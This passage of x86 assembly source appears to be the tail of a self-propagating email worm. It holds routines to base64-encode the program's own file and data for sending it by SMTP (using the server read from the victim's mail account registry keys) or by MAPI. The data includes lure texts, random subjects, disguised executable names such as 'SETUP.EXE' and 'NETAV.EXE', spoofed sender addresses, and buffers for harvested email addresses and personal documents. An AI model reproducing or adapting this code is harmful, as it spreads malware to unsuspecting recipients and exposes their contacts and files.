api SetCurrentDirectoryA
or ebx,ebx
jz AllSubDirSearchEnd
dec ebx
pop dword ptr [RecSearchHandle]
jmp FindNextDir
NextDirNotFound:
push dword ptr [RecSearchHandle]
api FindClose
jmp FirstDirNotFound
AllSubDirSearchEnd:
ret
;.......................... Random Number ....................................
; IN: Edi
; OUT: Random Number in EDX: 0 <-> Edi-1
GetRndNumber:
push eax ebx ecx esi esp ebp
mov eax, dword ptr[RandomNb]
mov ecx,41C64E6Dh
mul ecx
add eax,00003039h
mov dword ptr[RandomNb], eax
xor edx, edx
div edi ; Reste < Edi in EDX
pop ebp esp esi ecx ebx eax
ret
;......................... Free The Mem ......................................
FreeTheMem:
mov ecx, dword ptr[EmailList]
jecxz FreeTheMemNext1
call MemFreeIt
FreeTheMemNext1:
mov ecx, dword ptr[MemMessageBody1]
jecxz FreeTheMemNext2
call MemFreeIt
FreeTheMemNext2:
mov ecx, dword ptr[PersoDocListe]
jecxz FreeTheMemFin
call MemFreeIt
FreeTheMemFin:
ret
MemFreeIt:
push 00008000h ; MEM_RELEASE
push 0
push ecx
api VirtualFree
ret
;..................... Clear TempPath & Name .................................
Clear_TempPath&Name:
xor al,al
mov ecx,260
lea edi,TempPath&Name ; Clear the path
rep stosb
ret
;..................... Encode File Base 64 ...................................
; IN: Path of the file in offset MyPath
; OUT: Encoded file in Mem
CodeB64File:
OpenFileToEncode:
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ
push Offset MyPath ; The file to encode
api CreateFileA
inc eax
je CodeB64FileEnd
dec eax
mov dword ptr [TempFileHandle], eax
GetFileToEncodeSize:
push 0
push eax
api GetFileSize
inc eax
je CodeB64FileEnd
dec eax
mov dword ptr [OurSizeToEncode], eax
add eax, 1000 ; Security
GetMemToReadFileToEncode:
xor ebx,ebx
push PAGE_READWRITE ; read/write page
push MEM_RESERVE or MEM_COMMIT
push eax
push ebx ; System decide where
api VirtualAlloc
test eax, eax
je CodeB64FileEnd
mov dword ptr[MemToEncode], eax
ReadFileToEncode:
push 00h
push offset ByteReaded
push dword ptr [OurSizeToEncode]
push eax
push dword ptr [TempFileHandle]
api ReadFile
push dword ptr [TempFileHandle]
api CloseHandle
GetMemToEncodeFile:
mov eax, dword ptr [OurSizeToEncode]
rol eax, 4 ; We need ori size *3 (+security)
xor ebx,ebx
push PAGE_READWRITE ; read/write page
push MEM_RESERVE or MEM_COMMIT
push eax
push ebx ; System decide where
api VirtualAlloc
test eax, eax
je CodeB64FileEnd
mov dword ptr[MemEncoded], eax
AlignFileToEncodeSize:
mov eax, dword ptr [OurSizeToEncode]
push 3
pop ecx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx ; align size to 3
EncodeFileNow:
xchg eax,ecx
mov edx,dword ptr [MemEncoded]
mov eax,dword ptr [MemToEncode]
call encodeBase64
mov dword ptr [EncodedFileSize],ecx
CodeB64FileEnd:
ret
;................... Encode Base 64 Algorithme ...............................
encodeBase64: ; By Bumblebee
; input:
; EAX = Address of data to encode
; EDX = Address to put encoded data
; ECX = Size of data to encode
; output:
; ECX = size of encoded data
;
xor esi,esi
call over_enc_table
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
db "abcdefghijklmnopqrstuvwxyz"
db "0123456789+/"
over_enc_table:
pop edi
push ebp
xor ebp,ebp
baseLoop:
movzx ebx,byte ptr [eax]
shr bl,2
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
mov bx,word ptr [eax]
xchg bl,bh
shr bx,4
mov bh,0
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
mov bx,word ptr [eax]
xchg bl,bh
shr bx,6
xor bh,bh
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
xor ebx,ebx
movzx ebx,byte ptr [eax]
and bl,00111111b
mov bh,byte ptr [edi+ebx]
mov byte ptr [edx+esi],bh
inc esi
inc eax
inc ebp
cmp ebp,24
jna DontAddEndOfLine
xor ebp,ebp
mov word ptr [edx+esi],0A0Dh
inc esi
inc esi
test al,00h
org $-1
DontAddEndOfLine:
inc ebp
sub ecx,3
or ecx,ecx
jne baseLoop
mov ecx,esi
add edx,esi
pop ebp
ret
;-----------------------------------------------------------------------------
;------------------------------ Data Zone ------------------------------------
;-----------------------------------------------------------------------------
.data
;-------------------------- Variables Zone -----------------------------------
SmtpFlag db 0 ; Select Mapi or Smtp
PayloadFlag db 0 ; Payload = 1
UserEmailFoundFlag db 0 ; found = 1
;...................... Encode B64 Variables
EncodedFileSize dd 0
MemEncoded dd 0
MemToEncode dd 0
OurSizeToEncode dd 0
ByteReaded dd 0
;...................... Email SMTP Variables
Reg dd 1 ; String
KeySize dd 0 ; Size to read with SHGetValue
; (init it + return effectiv lenght read in)
AccountKey db 'Software\Microsoft\Internet Account Manager\Accounts\'
AccountSubKey db 64 dup (0)
SmtpServeur db 64 dup (0) ; smtp server found with regkey
wsocket dw 2 ; sin_family ever AF_INET
dw ? ; the port
ServeurIP dd ? ; addr of server node
db 8 dup (?) ; not used
hSocket dd 0 ; Socket Handle
ServeurReply dd ? ; error code
ServeurReplyEnd db ? ; byte for LF
CRLF equ <13,10>
cmd_helo db 'HELO Support',CRLF
cmd_mailfrom db 'MAIL FROM:<'
cmd_rcptto db 'RCPT TO:<'
cmd_data db 'DATA',CRLF
cmd_term db CRLF,'.',CRLF
cmd_quit db 'QUIT',CRLF
MemMessageBody1 dd 0 ; Ptr on Mem where built header
MessageSize1 dd 0 ; Size Header + bordel Mime
MessageBody1: db 'Mime-Version: 1.0',CRLF
db 'Content-Type: multipart/mixed; boundary="--123"',CRLF,CRLF
db '----123',CRLF
db 'Content-Type: text/plain; charset=us-ascii',CRLF
db 'Content-Transfer-Encoding: 7bit',CRLF,CRLF,0
; Text part
MessageBody1b: db '----123',CRLF
db 'Content-Type: application/octet-stream; name=',0 ; filename part
MessageBody1c: db 'Content-Transfer-Encoding: base64',CRLF
db 'Content-Disposition: attachment; filename=',0 ; filename part
; Encoded part
MessageBody2: db 10,'--123--',CRLF
MessageSize2 equ $-MessageBody2
RndFileName1 db '"SETUP.EXE"',0
RndFileName2 db '"HGAME.EXE"',0
RndFileName3 db '"MININET.EXE"',0
RndFileName4 db '"NETAV.EXE"',0
RndFileNameTb dd offset RndFileName1, offset RndFileName4, offset RndFileName3
dd offset RndFileName4, offset RndFileName2
NbRndFileName equ ($-offset RndFileNameTb)/4
RndText1: db 'Hi ',CRLF
db 'Here is what you asked, bye. ',CRLF,0
RndText2: db 'Hello ',CRLF
db 'Maybe you could help me with this, bye. ',CRLF,0
RndText3: db 'Hello ',CRLF
db 'Now you can try it, bye. ',CRLF,0
RndTextTb dd offset RndText1, offset RndText2, offset RndText3
NbRndText equ ($-offset RndTextTb)/4
RndSubject1 db 'Hello',0
RndSubject2 db 'For you',0
RndSubject3 db 'Try it',0
RndSubject4 db 'Re:',0
RndSubjectTb: dd offset RndSubject2, offset RndSubject1, offset RndSubject4
dd offset RndSubject3, offset RndSubject4
NbSubject equ ($-offset RndSubjectTb)/4
RndFromName1 db 'morgan',0
RndFromName2 db 'mick',0
RndFromName3 db 'carla',0
RndFromName4 db 'eva',0
RndFromNameTb: dd offset RndFromName1, offset RndFromName2, offset RndFromName3
dd offset RndFromName4
NbFromName equ ($-offset RndFromNameTb)/4
RndFromServ1 db '@caramail.com',0
RndFromServ2 db '@hotmail.com',0
RndFromServ3 db '@aol.com',0
RndFromServTb: dd offset RndFromServ1, offset RndFromServ2, offset RndFromServ3
NbFromServ equ ($-offset RndFromServTb)/4
;...................... Email MAPI Variables
IConnectedStateTemp dd 0 ; For InternetConnectedState
MapiMessage equ $
dd ?
dd offset subject
dd offset textmail
dd ?
dd offset date
dd ?
dd 2
dd offset MsgFrom
dd 1
dd offset MsgTo
dd 1
dd offset MapiFileDesc
MsgFrom equ $
dd ?
dd ?
dd offset namefrom
dd offset mailfrom
dd ?
dd ?
MsgTo equ $
dd ?
dd 1
dd offset nameto
dd offset CurrentEmail
dd ?
dd ?
MapiFileDesc equ $
dd ?
dd ?
dd ?
dd offset MyPath ; File to attache
dd ?
dd ?
CurrentEmail db EmailSize dup (0)
MAPISession dd 0
subject db 'Hello',0
date db '',0
namefrom db '',0
mailfrom db EmailSize dup (0)
nameto db '',0
textmail db 'Hi ',CRLF
db 'Here is what you asked, bye... ',0
;...................... Residency + Dump Variables
MutexHdl dd 0
MyPath db 260 dup (0)
TempFileHandle dd 0
ByteWritten dd 0
;...................... Email Search Variables
NbEmailFound dd 0 ; Compte combien d'email found
EmailList dd 0 ; Ptr zone Mem ou stocker Emails
TempPath&Name db 260 dup (0)
fhandle dd 0 ; To find & map file
mapaddress dd 0
maphandle dd 0
maphandlemail dd 0 ; for html found
esi_save dd 0
EmailCurrentPos dd 0
RandomNb dd 0 ; Init with GettickCount
NbWabEmail dd 0 ; Nb emails in *.Wab
;...................... Recursive Search Variables
RecSearchHandle dd 0 ; For the Recursive search
RoutineToCall dd 0 ; Ptr on routine to execute in all SubDir
PersonalSearchHandle dd 0 ; For personal doc search
NbPersonalFound dd 0 ; Nb Personal doc found
PersoDocListe dd 0 ; Ptr zone Mem ou stocker Path Doc Perso
;--------------------------- Structures Zone ---------------------------------
;...................... Search File Structure
filetim struct
FT_dwLowDateT dd ?
FT_dwHighDateT dd ?
filetim ends
w32fd struct
FileAttributes dd ?
CreationTime filetim ?
LastAccessTime filetim ?
LastWriteTime filetim ?
FileSizeHigh dd ?
FileSizeLow dd ?
Reserved0 dd ?
Reserved1 dd ?
FileName db 260 dup (0)
AlternateFileN db 13 dup (?)
db 3 dup (?)
w32fd ends
search w32fd ?
;...................... System Time Structure
SystemTimeData equ $
STDYear dw ?
STDMonth dw ?
STDDayOfWeek dw ?
STDDay dw ?
STDHour dw ?
STDMinute dw ?
STDSecond dw ?
STDMilliseconds dw ?
;...................... Sockets Structure
WSAData equ $
dw ?
dw ?
db 257 dup (?)
db 129 dup (?)
dw ?
dw ?
dd ?
end Mv
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